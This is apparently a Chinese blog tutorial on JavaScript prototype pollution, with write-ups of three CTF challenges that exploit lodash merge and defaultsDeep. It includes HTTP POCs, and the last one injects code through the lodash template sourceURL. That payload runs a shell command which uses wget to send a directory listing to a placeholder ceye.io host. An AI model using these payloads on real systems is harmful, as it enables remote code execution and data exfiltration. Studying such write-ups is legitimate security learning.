前言

以前听到过javascript原型链污染,感觉听起来蛮厉害的样子,当时忙着别的事情也就一直没有抽时间来看,正好最近没什么事,于是便学一学这个攻击方法,个人认为还是觉得蛮有趣的。

javascript原型与原型链

在 ES6 之前,JavaScript 中没有 class 语法,如今我们想定义一个类,可以通过“构造函数”的方式:

1
2
3
4
5
6
7
8
9
10
11
12
> function ba(){        
... this.id = 20
... this.name = 'admin'
... }
undefined
> var a = new b
> var a = new ba
undefined
> a.id
20
> a.name
'admin'

构造函数ba()就是ba类,这里的 this.id,this.name就是ba类的属性

一个类除了有属性,肯定也会有各种方法,我们也可以在类中定义它的方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
> function Myclass(){                             
... this.id = 6
... this.show = function(){
..... console.log(this.id)
..... }
... }
undefined
> var c = new Myclass()
undefined
> c.show
[Function]
> c.show()
6
undefined

但是这样写会导致我们每次创建Myclass对象时候就会执行一次这个show方法,这个方法实际上绑定在对象上,而不是类上。

prototype

每个类(构造函数)都会有一个prototype属性,且该类的实例化对象,都会拥有这个属性中的所有内容,即方法和属性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
> function Myclass(){
... this.age = 20
... }
> Myclass.prototype.show = function show(){
... console.log(this.age)
... }
[Function: show]
> var x= new Myclass
undefined
> x.show
[Function: show]
> x.show()
20
undefined

其次,我们可以通过prototype来访问其原型:

可以看到,类的原型是Object,但是实例化的对象,就不能直接通过prototype来访问原型的

__proto__

每个实例化的对象,都会有一个__proto__属性,指向实例对象的原型

仔细看,可能你会发现,实例化对象的原型和类的原型是相等的,其实a.__proto__就是指向Myclass.prototype

1
console.log(a.__proto == Myclass.prototype)//True

所以,可以得出两点:

  1. prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
  2. 一个对象的__proto__属性,指向这个对象所在的类的prototype属性

constructor

在上面图片中,我们应该看到过constructor这个属性,每个原型对象都有一个 constructor 属性,指向相关联的构造函数,所以构造函数和构造函数的 prototype 是可以相互指向的。

1
2
> Myclass.prototype.constructor
[Function: Myclass]

关系如下:

原型链

javascript中,如果对象要访问一个属性,步骤如下

以此内推,直到找到这个属性或者到达了最顶层

其次就是,实例对象的原型是object.prototype,但是他的原型是null,所以object.prototype就是原型链的顶端。

原型链继承

javascript的继承机制,就是利用了实例化对象会拥有prototype属性内的所有属性和方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}

function Son() {
this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
// 输出:Name: Melania Trump。

原型链污染

首先给一个简单的例子:

1
2
3
4
5
6
7
8
9
10
> var a = {admin:1}
undefined
> a.admin
1
> a.__proto__.admin = 2
2
> var b = {}
undefined
> b.admin
2

这里看到,b为空的,但是却访问到存在admin属性,并且修改了它的值。这是因为我们通过a.__proto__.admin = 2修改了a的原型,即Object,而这里b的原型也是Object,所以自然会有一个admin属性。

哪些情况会导致原型链污染

  • 对象merge
  • 对象clone( 将待操作的对象merge到一个空对象中 )
  • 按路径定义属性

对象merge

通常来讲,我们需要能控制一个参数和它对应的值,格式如下:

obj[a][b]=value 攻击=> obj[__proto__][attribute]=myvalue

还有一种情况就是:

obj[a][b][c]=value 攻击=> obj[constructor][prototype][attribute]=myvalue

但是这种方法需要两个可控参数,攻击环境比较苛刻

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
var a1 = {}
var a2 = JSON.parse('{"a":1,"__proto__":{"b":2}}')
merge(a1,a2)
// console.log(a1.a,a2.b)

var a3 = {}
console.log(a3.b)//2

这里merege会遍历a2所有键名,但是这个__proto__会被当做a2原型,所以要json解析__proto__为键名才能污染原型链。merge操作是最常见的键名操作,也是最可能被原型链攻击,很多库都存在这个问题。

受影响库(merge)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
hoek.merge
hoek.applyToDefaults
Fixed in version 4.2.1
Fixed in version 5.0.3

lodash.defaultsDeep
lodash.merge
lodash.mergeWith
lodash.set
lodash.setWith
Fixed in version 4.17.12

merge.recursive(mereg)
defaults-deep
Fixed in version 0.2.4

merge-objects
assign-deep
Fixed in version 0.4.7

Merge-deep
Fixed in version 3.0.1

mixin-deep
Fixed in version 1.3.1

deep-extend
Not fixed. Package maintainer didn’t respond to the disclosure.
merge-options
Not fixed. Package maintainer didn’t respond to the disclosure.

deap
deap.extend
deap.merge
deap
Fixed in version 1.0.1

merge-recursive
merge-recursive.recursive

对象clone

1
2
3
function clone(obj) {
return merge({}, obj);
}

按路径定义属性

1
theFunction(object, path, value)

如果攻击者可以控制path参数,那么就可以将值改为__proto__.myValue,那么myvalue将会被赋值给原型类Object造成原型链污染。

Hackit 2018

Republic_of_Gayming

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
app.get('/admin', (req, res) => { 
/*this is under development I guess ??*/

if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is********');
....
app.post('/api', (req, res) => {
var client = req.body;
var winner = null;

if (client.row > 3 || client.col > 3){
client.row %= 3;
client.col %= 3;
}

matrix[client.row][client.col] = client.data;
console.log(matrix);
....

这里附上部分源码,漏洞点在:matrix[client.row][client.col] = client.data,这里可以我们可控,所以也就是我上面说的一种情况。拿到flag的要求是admintoken要md5值要和querytoken相等,这里admintoken明显是不存在的,要求我们污染原型链才能符合要求。

Redpwnctf 2019

blueprint

blueprint.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
const _ = require('lodash') //4.17.11
....
const parseUserId = (cookies) => {
if (cookies === undefined) {
return null
}
const userIdCookie = cookies.split('; ').find(cookie => cookie.startsWith('user_id='))
if (userIdCookie === undefined) {
return null
}
return decodeURIComponent(userIdCookie.replace('user_id=', ''))
}

const makeId = () => crypto.randomBytes(16).toString('hex')

// list of users and blueprints
const users = new Map()

http.createServer((req, res) => {
let userId = parseUserId(req.headers.cookie)
let user = users.get(userId)
if (userId === null || user === undefined) {
// create user if one doesnt exist
userId = makeId()
const bpProto = {}
const flagBp = {
content: flag,
}
flagBp.constructor = {prototype: bpProto}
flagBp.__proto__ = bpProto
user = {
bpProto,
blueprints: {
[makeId()]: flagBp,
},
}
users.set(userId, user)
}

// send back the user id
res.writeHead(200, {
'set-cookie': 'user_id=' + encodeURIComponent(userId) + '; Path=/',
})

if (req.url === '/' && req.method === 'GET') {
// list all public blueprints
res.end(mustache.render(indexTemplate, {
blueprints: Object.entries(user.blueprints).map(([k, v]) => ({
id: k,
content: v.content,
public: v.public,
})),
}))
} else if (req.url.startsWith('/blueprints/') && req.method === 'GET') {
// show an individual blueprint, including private ones
const blueprintId = req.url.replace('/blueprints/', '')
if (user.blueprints[blueprintId] === undefined) {
res.end(notFoundPage)
return
}
res.end(mustache.render(blueprintTemplate, {
content: user.blueprints[blueprintId].content,
}))
} else if (req.url === '/make' && req.method === 'GET') {
// show the static blueprint creation page
res.end(makePage)
} else if (req.url === '/make' && req.method === 'POST') {
// API used by the creation page
getRawBody(req, {
limit: '1mb',
}, (err, body) => {
if (err) {
throw err
}
let parsedBody
try {
// default values are easier to do than proper input validation
const mergeObj = {}
mergeObj.constructor = {prototype: user.bpProto}
mergeObj.__proto__ = user.bpProto
parsedBody = _.defaultsDeep(mergeObj, JSON.parse(body))
} catch (e) {
res.end('bad json')
return
}

// make the blueprint
const blueprintId = makeId()
user.blueprints[blueprintId] = {
content: parsedBody.content,
public: parsedBody.public,
}

res.end(blueprintId)
})
} else {
res.end(notFoundPage)
}
}).listen(3000, () => {
console.log('listening on port 3000')
})

这题关键在于lodash版本存在prototype pollutionx.x.x.x/make这个接口可以post发送报文,并且都已json格式解析,所以参数可控 => parsedBody = _.defaultsDeep(mergeObj, JSON.parse(body)),其次,这里的x.x.x.x/提供列出所有自己创建的blueprint,这里就会判断public这个属性是否为true,如果是就会输出content

那么目的就很明显了,包含flag的对象是Object,污染原型链,那么当请求时,会找到public,打印flag。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /make HTTP/1.1
Host: 192.168.117.162:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.117.162:3000/make
content-type: application/json
Origin: http://192.168.117.162:3000
Content-Length: 45
Connection: close
Cookie: user_id=15e9de52d93fb13deeb4c44aeaab9767

{"constructor":{"prototype":{"public":true}}}

Code-breaking_thejs

server.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
....
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})

return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}

res.render('index', {
language: data.language,
category: data.category
})
})
....

通读代码,发现data = lodash.merge(data, req.body)可能存在原型链污染,本地调试一下,发现确实可以污染原型Object

但是这似乎构不成什么威胁,尝试找利用点,发现模板引擎是动态渲染的:

let compiled = lodash.template(content),跟进template模块,找到一个可控点:

var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : ''; 这里会判断sourceURL是否在options里面,这里的options就是我们渲染的contents,也是我们可控的body,接着它就会被拼接到Function函数中:

1
2
3
4
5
6
7
var result = attempt(function() {

return Function(importsKeys, sourceURL + 'return ' + source)

.apply(undefined, importsValues);

});

所以这里可以造成任意JS执行。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 192.168.117.163:8086
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 178
Origin: http://192.168.117.163:8086
Connection: close
Referer: http://192.168.117.163:8086/
Cookie: thejs.session=s%3A3qJOdOxa4JXfMdVXkud3T1BpgZ8ZZ0Zx.IE148Xmg7b4DB7Ww6nN4wafmviq77qGCJjVayfNUEJU
Upgrade-Insecure-Requests: 1

{"language":{"__proto__":{"__proto__":{"sourceURL":"\nglobal.process.mainModule.constructor._load('child_process').exec('wget http://xxxx.ceye.io/?$(cd /;ls|base64)')"}}}}

END

Knowledge surface determines attack surface, knowledge chain determines kill chain